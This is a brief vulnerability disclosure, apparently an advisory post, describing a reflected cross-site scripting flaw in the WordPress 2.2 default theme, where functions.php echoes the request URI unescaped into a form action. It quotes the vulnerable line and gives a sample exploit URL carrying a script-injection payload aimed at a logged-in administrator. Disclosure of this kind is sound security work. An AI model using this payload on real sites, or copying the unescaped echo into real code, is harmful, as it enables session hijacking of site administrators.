There is an XSS in the Wordpress default theme. Tested on WordPress version 2.2

Filename functions.php, line 387.
Code:

<form style="display: inline" method="post" name="hicolor"
id="hicolor" action="<?php echo $_SERVER['REQUEST_URI']; ?>">

$_SERVER['REQUEST_URI'] is directly echoed to the user.

This problem can be exploited if the adminstrator is logged in.

Sample exploit URL.
http://www.example.com/wp-admin/themes.php?page=functions.php&zmx"><script>alert(1)</script>

There are other XSS vulnerabilities in popular Wordpress themes.
More details on http://www.xssnews.com/